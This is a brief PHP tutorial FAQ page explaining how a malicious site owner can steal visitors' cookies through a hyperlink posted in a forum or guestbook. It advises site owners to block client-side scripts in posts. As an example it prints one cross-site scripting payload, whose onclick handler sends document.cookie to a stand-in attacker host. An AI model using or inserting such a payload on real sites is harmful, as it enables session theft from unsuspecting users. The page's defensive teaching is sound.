Tools, FAQ, Tutorials:
Malicious Website Stealing Cookies in PHP
How Can Other Webmaster Steal Your Cookies in PHP?
✍: FYIcenter.com
All browsers are following the security rule that your cookies are sent back only to your Web servers. They will not be sent to other Webmaster's Web server directly. However, other Webmaster may design some malicious JavaScript codes to steal cookies created by your PHP pages. For example, if you allow visitors to post messages in your forum, comment area, or guestbooks with hyper links. A bad Webmaster who owns a Web site called www.badwebmaster.com could post a message like this on your Web site with a malicious hyper link:
<a href="/#" onclick="window.location='http://www.badwebmaster.com /stole.cgi?text='+escape(document.cookie); return false;"> Click here to get your free gift!</a>
If your visitor clicks this hyper link, all of your cookie values will be sent to this bad Webmaster's CGI program as part of the GET URL (not as cookies).
So check your forum, comment book or guestbook program. And do not allow visitors to post messages with client side scripts.
⇒ Understanding and Using Sessions in PHP
⇐ Cookies Encoded during Transportation in PHP
2016-10-29, 1891🔥, 0💬
Popular Posts:
How To Pass Arrays By References? in PHP? Like normal variables, you can pass an array by reference ...
How to troubleshoot the Orderer peer? The Docker container terminated by itself. You can follow this...
What is Azure API Management Publisher Dashboard? Azure API Management Publisher Dashboard is an Azu...
How To Protect Special Characters in Query String in PHP? If you want to include special characters ...
What Is Azure API Management Service? Azure API Management as a turnkey solution for publishing APIs...